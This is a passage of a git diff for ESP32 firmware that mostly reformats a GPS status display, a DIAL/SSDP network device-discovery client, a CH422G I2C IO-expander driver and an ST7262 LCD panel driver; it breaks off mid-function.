1); - output_buffer[sizeof(output_buffer) - 1] = '\0'; - } + const char *direction = get_cardinal_direction(gps_data.gps_quality.course); + + printf("GPS Info\n" + "Fix: %s\n" + "Sats: %d/%d\n" + "Lat: %s\n" + "Long: %s\n" + "Alt: %.1fm\n" + "Speed: %.1f km/h\n" + "Direction: %d° %s\n" + "HDOP: %.1f\n", + gps->fix_mode == GPS_MODE_3D ? "3D" : "2D", gps_data.gps_quality.satellites_used, + GPS_MAX_SATELLITES_IN_USE, lat_str, lon_str, gps->altitude, + gps->speed * 3.6, // Convert m/s to km/h + (int)gps_data.gps_quality.course, direction ? direction : "Unknown", gps->dop_h); + + TERMINAL_VIEW_ADD_TEXT( + "GPS Info\n" + "Fix: %s\n" + "Sats: %d/%d\n" + "Lat: %s\n" + "Long: %s\n" + "Alt: %.1fm\n" + "Speed: %.1f km/h\n" + "Direction: %d° %s\n" + "HDOP: %.1f\n", + gps->fix_mode == GPS_MODE_3D ? "3D" : "2D", gps_data.gps_quality.satellites_used, + GPS_MAX_SATELLITES_IN_USE, lat_str, lon_str, gps->altitude, gps->speed * 3.6, + (int)gps_data.gps_quality.course, direction ? direction : "Unknown", gps->dop_h); } - - // Safely send to terminal with single call - terminal_view_add_text(output_buffer); - + vTaskDelay(delay); } } \ No newline at end of file diff --git a/main/vendor/dial_client.c b/main/vendor/dial_client.c index e1442691..46601ff0 100644 --- a/main/vendor/dial_client.c +++ b/main/vendor/dial_client.c @@ -1,10 +1,10 @@ #include "vendor/dial_client.h" -#include -#include +#include "esp_log.h" #include "freertos/FreeRTOS.h" #include "freertos/task.h" #include "managers/views/terminal_screen.h" -#include "esp_log.h" +#include +#include #define DIAL_MULTICAST_IP "239.255.255.250" #define DIAL_MULTICAST_PORT 1900 @@ -24,104 +24,111 @@ static const char msearch_request[] = // Initialize the DIAL Client esp_err_t dial_client_init(DIALClient *client) { - client->socket_fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); - if (client->socket_fd < 0) { - ESP_LOGE(TAG, "Failed to create socket"); - return ESP_FAIL; - } - - // Setup multicast address - memset(&client->multicast_addr, 0, sizeof(client->multicast_addr)); - client->multicast_addr.sin_family = AF_INET; - client->multicast_addr.sin_port = htons(DIAL_MULTICAST_PORT); - inet_aton(DIAL_MULTICAST_IP, &client->multicast_addr.sin_addr); - - return ESP_OK; + client->socket_fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); + if (client->socket_fd < 0) { + ESP_LOGE(TAG, "Failed to create socket"); + return ESP_FAIL; + } + + // Setup multicast address + memset(&client->multicast_addr, 0, sizeof(client->multicast_addr)); + client->multicast_addr.sin_family = AF_INET; + client->multicast_addr.sin_port = htons(DIAL_MULTICAST_PORT); + inet_aton(DIAL_MULTICAST_IP, &client->multicast_addr.sin_addr); + + return ESP_OK; } // Discover devices on the network -esp_err_t dial_client_discover_devices(DIALClient *client, Device *devices, size_t max_devices, size_t *device_count) { - int retries = 0; - *device_count = 0; - - while (*device_count == 0 && retries < MAX_RETRIES) { - if (retries > 0) { - ESP_LOGI(TAG, "Retrying device discovery..."); - vTaskDelay(RETRY_DELAY_MS / portTICK_PERIOD_MS); - } +esp_err_t dial_client_discover_devices(DIALClient *client, Device *devices, + size_t max_devices, + size_t *device_count) { + int retries = 0; + *device_count = 0; + + while (*device_count == 0 && retries < MAX_RETRIES) { + if (retries > 0) { + ESP_LOGI(TAG, "Retrying device discovery..."); + vTaskDelay(RETRY_DELAY_MS / portTICK_PERIOD_MS); + } - // Send M-SEARCH packets to the multicast group - for (int i = 0; i < 5; i++) { - if (sendto(client->socket_fd, msearch_request, sizeof(msearch_request), 0, - (struct sockaddr *)&client->multicast_addr, sizeof(client->multicast_addr)) < 0) { - ESP_LOGE(TAG, "Failed to send M-SEARCH request"); - return ESP_FAIL; - } - vTaskDelay(500 / portTICK_PERIOD_MS); // delay 500ms between sends - } + // Send M-SEARCH packets to the multicast group + for (int i = 0; i < 5; i++) { + if (sendto(client->socket_fd, msearch_request, sizeof(msearch_request), 0, + (struct sockaddr *)&client->multicast_addr, + sizeof(client->multicast_addr)) < 0) { + ESP_LOGE(TAG, "Failed to send M-SEARCH request"); + return ESP_FAIL; + } + vTaskDelay(500 / portTICK_PERIOD_MS); // delay 500ms between sends + } - // Set a 5 second timeout for receiving responses - struct timeval timeout = {.tv_sec = 5, .tv_usec = 0}; - setsockopt(client->socket_fd, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof(timeout)); - - // Listen for responses - char response_buffer[RESPONSE_BUFFER_SIZE]; - struct sockaddr_in source_addr; - socklen_t addr_len = sizeof(source_addr); - while (recvfrom(client->socket_fd, response_buffer, RESPONSE_BUFFER_SIZE, 0, - (struct sockaddr *)&source_addr, &addr_len) > 0) { - // Null-terminate the response - response_buffer[RESPONSE_BUFFER_SIZE - 1] = '\0'; - - // Parse SSDP response and add to device list if valid - Device device; - if (parse_ssdp_response(response_buffer, &device)) { - if (*device_count < max_devices) { - devices[*device_count] = device; - (*device_count)++; - } else { - ESP_LOGW(TAG, "Device list is full"); - break; - } - } + // Set a 5 second timeout for receiving responses + struct timeval timeout = {.tv_sec = 5, .tv_usec = 0}; + setsockopt(client->socket_fd, SOL_SOCKET, SO_RCVTIMEO, &timeout, + sizeof(timeout)); + + // Listen for responses + char response_buffer[RESPONSE_BUFFER_SIZE]; + struct sockaddr_in source_addr; + socklen_t addr_len = sizeof(source_addr); + while (recvfrom(client->socket_fd, response_buffer, RESPONSE_BUFFER_SIZE, 0, + (struct sockaddr *)&source_addr, &addr_len) > 0) { + // Null-terminate the response + response_buffer[RESPONSE_BUFFER_SIZE - 1] = '\0'; + + // Parse SSDP response and add to device list if valid + Device device; + if (parse_ssdp_response(response_buffer, &device)) { + if (*device_count < max_devices) { + devices[*device_count] = device; + (*device_count)++; + } else { + ESP_LOGW(TAG, "Device list is full"); + break; } - retries++; + } } + retries++; + } - if (*device_count == 0) { - ESP_LOGW(TAG, "No devices found after retries"); - return ESP_ERR_NOT_FOUND; - } + if (*device_count == 0) { + ESP_LOGW(TAG, "No devices found after retries"); + return ESP_ERR_NOT_FOUND; + } - return ESP_OK; + return ESP_OK; } // Parse SSDP response to extract device details bool parse_ssdp_response(const char *response, Device *device) { - const char *usn_start = strstr(response, "USN: "); - const char *location_start = strstr(response, "LOCATION: "); + const char *usn_start = strstr(response, "USN: "); + const char *location_start = strstr(response, "LOCATION: "); - if (usn_start && location_start) { - sscanf(usn_start, "USN: %127s", device->usn); - sscanf(location_start, "LOCATION: %255s", device->location); + if (usn_start && location_start) { + sscanf(usn_start, "USN: %127s", device->usn); + sscanf(location_start, "LOCATION: %255s", device->location); - // Extract unique service name - snprintf(device->uniqueServiceName, sizeof(device->uniqueServiceName), "%s", device->usn); + // Extract unique service name + snprintf(device->uniqueServiceName, sizeof(device->uniqueServiceName), "%s", + device->usn); - ESP_LOGI(TAG, "Discovered Device: USN=%s, Location=%s", device->usn, device->location); - printf("Discovered Device: USN=%s, Location=%s\n", device->usn, device->location); - return true; - } + ESP_LOGI(TAG, "Discovered Device: USN=%s, Location=%s", device->usn, + device->location); + printf("Discovered Device: USN=%s, Location=%s\n", device->usn, + device->location); + return true; + } - return false; + return false; } // Deinitialize the DIAL Client void dial_client_deinit(DIALClient *client) { - if (client->socket_fd >= 0) { - close(client->socket_fd); - client->socket_fd = -1; - printf("Socket closed\n"); - TERMINAL_VIEW_ADD_TEXT("Socket closed\n"); - } + if (client->socket_fd >= 0) { + close(client->socket_fd); + client->socket_fd = -1; + printf("Socket closed\n"); + TERMINAL_VIEW_ADD_TEXT("Socket closed\n"); + } } \ No newline at end of file diff --git a/main/vendor/drivers/CH422G.c b/main/vendor/drivers/CH422G.c index 8e6f0623..9b5737ce 100644 --- a/main/vendor/drivers/CH422G.c +++ b/main/vendor/drivers/CH422G.c @@ -5,8 +5,8 @@ */ #include -#include #include +#include #include "driver/i2c.h" #include "esp_bit_defs.h" @@ -16,157 +16,162 @@ #include "vendor/drivers/CH422G.h" /* Timeout of each I2C communication */ -#define I2C_TIMEOUT_MS (10) +#define I2C_TIMEOUT_MS (10) -#define IO_COUNT (12) +#define IO_COUNT (12) /* Register address */ -#define CH422G_REG_WR_SET (0x48 >> 1) -#define CH422G_REG_WR_OC (0x46 >> 1) -#define CH422G_REG_WR_IO (0x70 >> 1) -#define CH422G_REG_RD_IO (0x4D >> 1) +#define CH422G_REG_WR_SET (0x48 >> 1) +#define CH422G_REG_WR_OC (0x46 >> 1) +#define CH422G_REG_WR_IO (0x70 >> 1) +#define CH422G_REG_RD_IO (0x4D >> 1) /* Default register value when reset */ -#define REG_WR_SET_DEFAULT_VAL (0x01UL) -#define REG_WR_OC_DEFAULT_VAL (0x0FUL) -#define REG_WR_IO_DEFAULT_VAL (0xFFUL) -#define REG_OUT_DEFAULT_VAL ((REG_WR_OC_DEFAULT_VAL << 8) | REG_WR_IO_DEFAULT_VAL) -#define REG_DIR_DEFAULT_VAL (0xFFFUL) +#define REG_WR_SET_DEFAULT_VAL (0x01UL) +#define REG_WR_OC_DEFAULT_VAL (0x0FUL) +#define REG_WR_IO_DEFAULT_VAL (0xFFUL) +#define REG_OUT_DEFAULT_VAL \ + ((REG_WR_OC_DEFAULT_VAL << 8) | REG_WR_IO_DEFAULT_VAL) +#define REG_DIR_DEFAULT_VAL (0xFFFUL) -#define REG_WR_SET_BIT_IO_OE (1 << 0) -#define REG_WR_SET_BIT_OD_EN (1 << 2) +#define REG_WR_SET_BIT_IO_OE (1 << 0) +#define REG_WR_SET_BIT_OD_EN (1 << 2) /* Default direction values */ -#define DIR_OUT_VALUE (0xFFF) -#define DIR_IN_VALUE (0xF00) +#define DIR_OUT_VALUE (0xFFF) +#define DIR_IN_VALUE (0xF00) static const char *TAG = "ch422g"; -esp_err_t ch422g_new_device(i2c_port_t i2c_num, uint32_t i2c_address, esp_io_expander_ch422g_t **out_dev) -{ - i2c_config_t conf = { - .mode = I2C_MODE_MASTER, - .sda_io_num = 8, - .scl_io_num = 9, - .master.clk_speed = 400000, - }; - esp_err_t err = i2c_param_config(i2c_num, &conf); - if (err != ESP_OK) { - ESP_LOGE(TAG, "I2C param config failed: %s", esp_err_to_name(err)); - return err; - } - - err = i2c_driver_install(i2c_num, conf.mode, 0, 0, 0); - if (err != ESP_OK) { - ESP_LOGE(TAG, "I2C driver install failed: %s", esp_err_to_name(err)); - } - - - - ESP_RETURN_ON_FALSE(i2c_num < I2C_NUM_MAX, ESP_ERR_INVALID_ARG, TAG, "Invalid I2C port"); - ESP_RETURN_ON_FALSE(out_dev, ESP_ERR_INVALID_ARG, TAG, "Invalid output device pointer"); - - esp_io_expander_ch422g_t *dev = calloc(1, sizeof(esp_io_expander_ch422g_t)); - ESP_RETURN_ON_FALSE(dev, ESP_ERR_NO_MEM, TAG, "Failed to allocate memory"); - - dev->i2c_num = i2c_num; - dev->i2c_address = i2c_address; - dev->regs.wr_set = REG_WR_SET_DEFAULT_VAL; - dev->regs.wr_oc = REG_WR_OC_DEFAULT_VAL; - dev->regs.wr_io = REG_WR_IO_DEFAULT_VAL; - - ESP_ERROR_CHECK(ch422g_reset(dev)); - *out_dev = dev; - - return ESP_OK; +esp_err_t ch422g_new_device(i2c_port_t i2c_num, uint32_t i2c_address, + esp_io_expander_ch422g_t **out_dev) { + i2c_config_t conf = { + .mode = I2C_MODE_MASTER, + .sda_io_num = 8, + .scl_io_num = 9, + .master.clk_speed = 400000, + }; + esp_err_t err = i2c_param_config(i2c_num, &conf); + if (err != ESP_OK) { + ESP_LOGE(TAG, "I2C param config failed: %s", esp_err_to_name(err)); + return err; + } + + err = i2c_driver_install(i2c_num, conf.mode, 0, 0, 0); + if (err != ESP_OK) { + ESP_LOGE(TAG, "I2C driver install failed: %s", esp_err_to_name(err)); + } + + ESP_RETURN_ON_FALSE(i2c_num < I2C_NUM_MAX, ESP_ERR_INVALID_ARG, TAG, + "Invalid I2C port"); + ESP_RETURN_ON_FALSE(out_dev, ESP_ERR_INVALID_ARG, TAG, + "Invalid output device pointer"); + + esp_io_expander_ch422g_t *dev = calloc(1, sizeof(esp_io_expander_ch422g_t)); + ESP_RETURN_ON_FALSE(dev, ESP_ERR_NO_MEM, TAG, "Failed to allocate memory"); + + dev->i2c_num = i2c_num; + dev->i2c_address = i2c_address; + dev->regs.wr_set = REG_WR_SET_DEFAULT_VAL; + dev->regs.wr_oc = REG_WR_OC_DEFAULT_VAL; + dev->regs.wr_io = REG_WR_IO_DEFAULT_VAL; + + ESP_ERROR_CHECK(ch422g_reset(dev)); + *out_dev = dev; + + return ESP_OK; } - -void cleanup_resources(esp_io_expander_ch422g_t *ch422g_dev, i2c_port_t i2c_num) -{ - if (ch422g_dev) { - free(ch422g_dev); - ESP_LOGI(TAG, "CH422G device deleted"); - } - - - esp_err_t err = i2c_driver_delete(i2c_num); - if (err == ESP_OK) { - ESP_LOGI(TAG, "I2C driver uninstalled"); - } else { - ESP_LOGE(TAG, "Failed to uninstall I2C driver: %s", esp_err_to_name(err)); - } +void cleanup_resources(esp_io_expander_ch422g_t *ch422g_dev, + i2c_port_t i2c_num) { + if (ch422g_dev) { + free(ch422g_dev); + ESP_LOGI(TAG, "CH422G device deleted"); + } + + esp_err_t err = i2c_driver_delete(i2c_num); + if (err == ESP_OK) { + ESP_LOGI(TAG, "I2C driver uninstalled"); + } else { + ESP_LOGE(TAG, "Failed to uninstall I2C driver: %s", esp_err_to_name(err)); + } } -esp_err_t ch422g_read_input_reg(esp_io_expander_ch422g_t *ch422g, uint32_t *value) -{ - uint8_t temp = 0; +esp_err_t ch422g_read_input_reg(esp_io_expander_ch422g_t *ch422g, + uint32_t *value) { + uint8_t temp = 0; - esp_err_t err = i2c_master_read_from_device( - ch422g->i2c_num, ch422g->i2c_address | CH422G_REG_RD_IO, &temp, 1, pdMS_TO_TICKS(I2C_TIMEOUT_MS)); - ESP_RETURN_ON_ERROR(err, TAG, "Failed to read input register"); + esp_err_t err = i2c_master_read_from_device( + ch422g->i2c_num, ch422g->i2c_address | CH422G_REG_RD_IO, &temp, 1, + pdMS_TO_TICKS(I2C_TIMEOUT_MS)); + ESP_RETURN_ON_ERROR(err, TAG, "Failed to read input register"); - *value = temp; - return ESP_OK; + *value = temp; + return ESP_OK; } -esp_err_t ch422g_write_output_reg(esp_io_expander_ch422g_t *ch422g, uint32_t value) -{ - uint8_t wr_oc_data = (value & 0xF00) >> 8; - uint8_t wr_io_data = value & 0xFF; - - if (wr_oc_data) { - ESP_RETURN_ON_ERROR( - i2c_master_write_to_device(ch422g->i2c_num, CH422G_REG_WR_OC, &wr_oc_data, 1, pdMS_TO_TICKS(I2C_TIMEOUT_MS)), - TAG, "Failed to write WR_OC register"); - ch422g->regs.wr_oc = wr_oc_data; - } - - if (wr_io_data) { - ESP_RETURN_ON_ERROR( - i2c_master_write_to_device(ch422g->i2c_num, CH422G_REG_WR_IO, &wr_io_data, 1, pdMS_TO_TICKS(I2C_TIMEOUT_MS)), - TAG, "Failed to write WR_IO register"); - ch422g->regs.wr_io = wr_io_data; - } - - return ESP_OK; +esp_err_t ch422g_write_output_reg(esp_io_expander_ch422g_t *ch422g, + uint32_t value) { + uint8_t wr_oc_data = (value & 0xF00) >> 8; + uint8_t wr_io_data = value & 0xFF; + + if (wr_oc_data) { + ESP_RETURN_ON_ERROR(i2c_master_write_to_device( + ch422g->i2c_num, CH422G_REG_WR_OC, &wr_oc_data, 1, + pdMS_TO_TICKS(I2C_TIMEOUT_MS)), + TAG, "Failed to write WR_OC register"); + ch422g->regs.wr_oc = wr_oc_data; + } + + if (wr_io_data) { + ESP_RETURN_ON_ERROR(i2c_master_write_to_device( + ch422g->i2c_num, CH422G_REG_WR_IO, &wr_io_data, 1, + pdMS_TO_TICKS(I2C_TIMEOUT_MS)), + TAG, "Failed to write WR_IO register"); + ch422g->regs.wr_io = wr_io_data; + } + + return ESP_OK; } -esp_err_t ch422g_read_output_reg(esp_io_expander_ch422g_t *ch422g, uint32_t *value) -{ - *value = ch422g->regs.wr_io | ((uint32_t)ch422g->regs.wr_oc << 8); - return ESP_OK; +esp_err_t ch422g_read_output_reg(esp_io_expander_ch422g_t *ch422g, + uint32_t *value) { + *value = ch422g->regs.wr_io | ((uint32_t)ch422g->regs.wr_oc << 8); + return ESP_OK; } -esp_err_t ch422g_write_direction_reg(esp_io_expander_ch422g_t *ch422g, uint32_t value) -{ - uint8_t data = ch422g->regs.wr_set; +esp_err_t ch422g_write_direction_reg(esp_io_expander_ch422g_t *ch422g, + uint32_t value) { + uint8_t data = ch422g->regs.wr_set; - value &= 0xFF; - if (value != 0) { - data |= REG_WR_SET_BIT_IO_OE; - } else { - data &= ~REG_WR_SET_BIT_IO_OE; - } + value &= 0xFF; + if (value != 0) { + data |= REG_WR_SET_BIT_IO_OE; + } else { + data &= ~REG_WR_SET_BIT_IO_OE; + } - ESP_RETURN_ON_ERROR( - i2c_master_write_to_device(ch422g->i2c_num, CH422G_REG_WR_SET, &data, 1, pdMS_TO_TICKS(I2C_TIMEOUT_MS)), - TAG, "Failed to write direction register"); + ESP_RETURN_ON_ERROR(i2c_master_write_to_device(ch422g->i2c_num, + CH422G_REG_WR_SET, &data, 1, + pdMS_TO_TICKS(I2C_TIMEOUT_MS)), + TAG, "Failed to write direction register"); - ch422g->regs.wr_set = data; - return ESP_OK; + ch422g->regs.wr_set = data; + return ESP_OK; } -esp_err_t ch422g_read_direction_reg(esp_io_expander_ch422g_t *ch422g, uint32_t *value) -{ - *value = (ch422g->regs.wr_set & REG_WR_SET_BIT_IO_OE) ? DIR_OUT_VALUE : DIR_IN_VALUE; - return ESP_OK; +esp_err_t ch422g_read_direction_reg(esp_io_expander_ch422g_t *ch422g, + uint32_t *value) { + *value = (ch422g->regs.wr_set & REG_WR_SET_BIT_IO_OE) ? DIR_OUT_VALUE + : DIR_IN_VALUE; + return ESP_OK; } -esp_err_t ch422g_reset(esp_io_expander_ch422g_t *ch422g) -{ - ESP_RETURN_ON_ERROR(ch422g_write_direction_reg(ch422g, REG_DIR_DEFAULT_VAL), TAG, "Failed to reset direction"); - ESP_RETURN_ON_ERROR(ch422g_write_output_reg(ch422g, REG_OUT_DEFAULT_VAL), TAG, "Failed to reset output"); +esp_err_t ch422g_reset(esp_io_expander_ch422g_t *ch422g) { + ESP_RETURN_ON_ERROR(ch422g_write_direction_reg(ch422g, REG_DIR_DEFAULT_VAL), + TAG, "Failed to reset direction"); + ESP_RETURN_ON_ERROR(ch422g_write_output_reg(ch422g, REG_OUT_DEFAULT_VAL), TAG, + "Failed to reset output"); - return ESP_OK; + return ESP_OK; } \ No newline at end of file diff --git a/main/vendor/drivers/ST7262.c b/main/vendor/drivers/ST7262.c index a6c9757e..648210dd 100644 --- a/main/vendor/drivers/ST7262.c +++ b/main/vendor/drivers/ST7262.c @@ -1,21 +1,20 @@ #include "vendor/drivers/ST7262.h" - #ifdef CONFIG_USE_7_INCHER #pragma message("Compiling 7 Incher") #include "driver/gpio.h" #include "driver/spi_master.h" -#include "esp_lcd_panel_rgb.h" +#include "esp_check.h" +#include "esp_lcd_io_spi.h" +#include "esp_lcd_panel_io.h" #include "esp_lcd_panel_ops.h" +#include "esp_lcd_panel_rgb.h" #include "esp_log.h" -#include "esp_check.h" #include "freertos/FreeRTOS.h" -#include "freertos/task.h" #include "freertos/semphr.h" -#include "esp_lcd_panel_io.h" -#include "esp_lcd_io_spi.h" +#include "freertos/task.h" #include "lvgl.h" static const char *TAG = "lcd_st7262"; @@ -53,14 +52,13 @@ static const int lcd_data_gpio_nums[] = { }; // Control signals for Crowtech display -#define LCD_HSYNC_GPIO_NUM GPIO_NUM_39 -#define LCD_VSYNC_GPIO_NUM GPIO_NUM_40 -#define LCD_DE_GPIO_NUM GPIO_NUM_41 -#define LCD_PCLK_GPIO_NUM GPIO_NUM_0 -#define LCD_DISP_GPIO_NUM -1 // Not used -#define LCD_BACKLIGHT_GPIO GPIO_NUM_2 -#define LCD_RESET_GPIO GPIO_NUM_4 // Corrected to GPIO4 - +#define LCD_HSYNC_GPIO_NUM GPIO_NUM_39 +#define LCD_VSYNC_GPIO_NUM GPIO_NUM_40 +#define LCD_DE_GPIO_NUM GPIO_NUM_41 +#define LCD_PCLK_GPIO_NUM GPIO_NUM_0 +#define LCD_DISP_GPIO_NUM -1 // Not used +#define LCD_BACKLIGHT_GPIO GPIO_NUM_2 +#define LCD_RESET_GPIO GPIO_NUM_4 // Corrected to GPIO4 #endif @@ -86,281 +84,279 @@ static const int lcd_data_gpio_nums[] = { }; // Control signals for Waveshare display -#define LCD_HSYNC_GPIO_NUM GPIO_NUM_46 -#define LCD_VSYNC_GPIO_NUM GPIO_NUM_3 -#define LCD_DE_GPIO_NUM GPIO_NUM_5 -#define LCD_PCLK_GPIO_NUM GPIO_NUM_7 -#define LCD_DISP_GPIO_NUM -1 // Not used -#define LCD_BACKLIGHT_GPIO -1 // Not used -#define LCD_RESET_GPIO GPIO_NUM_4 // Corrected to GPIO4 +#define LCD_HSYNC_GPIO_NUM GPIO_NUM_46 +#define LCD_VSYNC_GPIO_NUM GPIO_NUM_3 +#define LCD_DE_GPIO_NUM GPIO_NUM_5 +#define LCD_PCLK_GPIO_NUM GPIO_NUM_7 +#define LCD_DISP_GPIO_NUM -1 // Not used +#define LCD_BACKLIGHT_GPIO -1 // Not used +#define LCD_RESET_GPIO GPIO_NUM_4 // Corrected to GPIO4 #endif #ifdef CONFIG_Sunton_LCD static const int lcd_data_gpio_nums[] = { - GPIO_NUM_8, // D0 - B0 - GPIO_NUM_3, // D1 - B1 - GPIO_NUM_46, // D2 - B2 - GPIO_NUM_9, // D3 - B3 - GPIO_NUM_1, // D4 - B4 - GPIO_NUM_5, // D5 - G0 - GPIO_NUM_6, // D6 - G1 - GPIO_NUM_7, // D7 - G2 - GPIO_NUM_15, // D8 - G3 - GPIO_NUM_16, // D9 - G4 - GPIO_NUM_4, // D10 - G5 - GPIO_NUM_21, // D11 - R3 - GPIO_NUM_14, // D12 - R4 - GPIO_NUM_47, // D13 - R2 - GPIO_NUM_48, // D14 - R1 - GPIO_NUM_45 // D15 - R0 + GPIO_NUM_8, // D0 - B0 + GPIO_NUM_3, // D1 - B1 + GPIO_NUM_46, // D2 - B2 + GPIO_NUM_9, // D3 - B3 + GPIO_NUM_1, // D4 - B4 + GPIO_NUM_5, // D5 - G0 + GPIO_NUM_6, // D6 - G1 + GPIO_NUM_7, // D7 - G2 + GPIO_NUM_15, // D8 - G3 + GPIO_NUM_16, // D9 - G4 + GPIO_NUM_4, // D10 - G5 + GPIO_NUM_21, // D11 - R3 + GPIO_NUM_14, // D12 - R4 + GPIO_NUM_47, // D13 - R2 + GPIO_NUM_48, // D14 - R1 + GPIO_NUM_45 // D15 - R0 }; - -#define LCD_HSYNC_GPIO_NUM GPIO_NUM_39 -#define LCD_VSYNC_GPIO_NUM GPIO_NUM_41 -#define LCD_DE_GPIO_NUM GPIO_NUM_40 -#define LCD_PCLK_GPIO_NUM GPIO_NUM_42 -#define LCD_DISP_GPIO_NUM GPIO_NUM_NC // Not connected -#define LCD_BACKLIGHT_GPIO GPIO_NUM_2 // Backlight -#define LCD_RESET_GPIO GPIO_NUM_4 // Reset - +#define LCD_HSYNC_GPIO_NUM GPIO_NUM_39 +#define LCD_VSYNC_GPIO_NUM GPIO_NUM_41 +#define LCD_DE_GPIO_NUM GPIO_NUM_40 +#define LCD_PCLK_GPIO_NUM GPIO_NUM_42 +#define LCD_DISP_GPIO_NUM GPIO_NUM_NC // Not connected +#define LCD_BACKLIGHT_GPIO GPIO_NUM_2 // Backlight +#define LCD_RESET_GPIO GPIO_NUM_4 // Reset #endif // SPI pins for control interface (if used) -#define LCD_SPI_CS_GPIO_NUM GPIO_NUM_13 // Adjust as per your hardware -#define LCD_SPI_SCK_GPIO_NUM GPIO_NUM_12 -#define LCD_SPI_MOSI_GPIO_NUM GPIO_NUM_11 -#define LCD_SPI_CLK_FREQ_HZ (40 * 1000 * 1000) // 10MHz +#define LCD_SPI_CS_GPIO_NUM GPIO_NUM_13 // Adjust as per your hardware +#define LCD_SPI_SCK_GPIO_NUM GPIO_NUM_12 +#define LCD_SPI_MOSI_GPIO_NUM GPIO_NUM_11 +#define LCD_SPI_CLK_FREQ_HZ (40 * 1000 * 1000) // 10MHz static esp_lcd_panel_io_handle_t io_handle = NULL; // LVGL flush callback -static void lcd_st7262_lvgl_flush_cb(lv_disp_drv_t *drv, const lv_area_t *area, lv_color_t *color_map) -{ - esp_err_t ret; - esp_lcd_panel_handle_t panel = (esp_lcd_panel_handle_t)drv->user_data; - - - size_t num_pixels = (area->x2 - area->x1 + 1) * (area->y2 - area->y1 + 1); - - - for (size_t i = 0; i < num_pixels; i++) { - uint16_t pixel = color_map[i].full; - color_map[i].full = (pixel >> 8) | (pixel << 8); - } - - // Now proceed to draw bitmap - ret = esp_lcd_panel_draw_bitmap(panel, area->x1, area->y1, area->x2 + 1, area->y2 + 1, color_map); - if (ret != ESP_OK) { - ESP_LOGE(TAG, "Failed to draw bitmap to panel"); - } - - // Inform LVGL that flushing is done - lv_disp_flush_ready(drv); +static void lcd_st7262_lvgl_flush_cb(lv_disp_drv_t *drv, const lv_area_t *area, + lv_color_t *color_map) { + esp_err_t ret; + esp_lcd_panel_handle_t panel = (esp_lcd_panel_handle_t)drv->user_data; + + size_t num_pixels = (area->x2 - area->x1 + 1) * (area->y2 - area->y1 + 1); + + for (size_t i = 0; i < num_pixels; i++) { + uint16_t pixel = color_map[i].full; + color_map[i].full = (pixel >> 8) | (pixel << 8); + } + + // Now proceed to draw bitmap + ret = esp_lcd_panel_draw_bitmap(panel, area->x1, area->y1, area->x2 + 1, + area->y2 + 1, color_map); + if (ret != ESP_OK) { + ESP_LOGE(TAG, "Failed to draw bitmap to panel"); + } + + // Inform LVGL that flushing is done + lv_disp_flush_ready(drv); } -esp_err_t lcd_st7262_init(void) -{ - esp_err_t ret = ESP_OK; - - ESP_LOGI(TAG, "Initializing ST7262 LCD panel"); - - // Initialize reset GPIO - if (LCD_RESET_GPIO >= 0) { - gpio_config_t reset_conf = { - .pin_bit_mask = 1ULL << LCD_RESET_GPIO, - .mode = GPIO_MODE_OUTPUT, - .pull_up_en = GPIO_PULLUP_DISABLE, - .pull_down_en = GPIO_PULLDOWN_DISABLE, - .intr_type = GPIO_INTR_DISABLE, - }; - ESP_ERROR_CHECK(gpio_config(&reset_conf)); - - // Perform reset - gpio_set_level(LCD_RESET_GPIO, 0); - vTaskDelay(pdMS_TO_TICKS(100)); - gpio_set_level(LCD_RESET_GPIO, 1); - vTaskDelay(pdMS_TO_TICKS(100)); - } +esp_err_t lcd_st7262_init(void) { + esp_err_t ret = ESP_OK; + + ESP_LOGI(TAG, "Initializing ST7262 LCD panel"); + + // Initialize reset GPIO + if (LCD_RESET_GPIO >= 0) { + gpio_config_t reset_conf = { + .pin_bit_mask = 1ULL << LCD_RESET_GPIO, + .mode = GPIO_MODE_OUTPUT, + .pull_up_en = GPIO_PULLUP_DISABLE, + .pull_down_en = GPIO_PULLDOWN_DISABLE, + .intr_type = GPIO_INTR_DISABLE, + }; + ESP_ERROR_CHECK(gpio_config(&reset_conf)); + + // Perform reset + gpio_set_level(LCD_RESET_GPIO, 0); + vTaskDelay(pdMS_TO_TICKS(100)); + gpio_set_level(LCD_RESET_GPIO, 1); + vTaskDelay(pdMS_TO_TICKS(100)); + } #ifdef CONFIG_Crowtech_LCD - int ClockFrequency = 15; + int ClockFrequency = 15; #elif CONFIG_Waveshare_LCD - int ClockFrequency = 25; + int ClockFrequency = 25; #elif CONFIG_Sunton_LCD - int ClockFrequency = 18; -#else - int ClockFrequency = 10; + int ClockFrequency = 18; +#else + int ClockFrequency = 10; #endif #ifdef CONFIG_USE_7_INCHER - // Prepare RGB panel configuration with accurate timings - esp_lcd_rgb_panel_config_t panel_config = { - .clk_src = LCD_CLK_SRC_PLL160M, - .timings = { - .pclk_hz = ClockFrequency * 1000 * 1000, // Pixel clock frequency based on the typical 25 MHz from datasheet - .h_res = 800, - .v_res = 480, - .hsync_back_porch = 4, - .hsync_front_porch = 4, - .hsync_pulse_width = 2, - .vsync_back_porch = 4, - .vsync_front_porch = 4, - .vsync_pulse_width = 2, - .flags.pclk_active_neg = true, // Use as per your display’s requirements - }, - .data_width = 16, - .psram_trans_align = 64, - .hsync_gpio_num = LCD_HSYNC_GPIO_NUM, - .vsync_gpio_num = LCD_VSYNC_GPIO_NUM, - .de_gpio_num = LCD_DE_GPIO_NUM, - .pclk_gpio_num = LCD_PCLK_GPIO_NUM, - .disp_gpio_num = LCD_DISP_GPIO_NUM, - .data_gpio_nums = { - [0] = lcd_data_gpio_nums[0], - [1] = lcd_data_gpio_nums[1], - [2] = lcd_data_gpio_nums[2], - [3] = lcd_data_gpio_nums[3], - [4] = lcd_data_gpio_nums[4], - [5] = lcd_data_gpio_nums[5], - [6] = lcd_data_gpio_nums[6], - [7] = lcd_data_gpio_nums[7], - [8] = lcd_data_gpio_nums[8], - [9] = lcd_data_gpio_nums[9], - [10] = lcd_data_gpio_nums[10], - [11] = lcd_data_gpio_nums[11], - [12] = lcd_data_gpio_nums[12], - [13] = lcd_data_gpio_nums[13], - [14] = lcd_data_gpio_nums[14], - [15] = lcd_data_gpio_nums[15], - }, - .flags.fb_in_psram = true, - .num_fbs = 2, // Use double buffering - .bounce_buffer_size_px = 20 * 480, - }; - - // Create RGB panel - ret = esp_lcd_new_rgb_panel(&panel_config, &rgb_panel_handle); - ESP_RETURN_ON_ERROR(ret, TAG, "Failed to create RGB panel"); - - // Initialize the panel - ret = esp_lcd_panel_reset(rgb_panel_handle); - 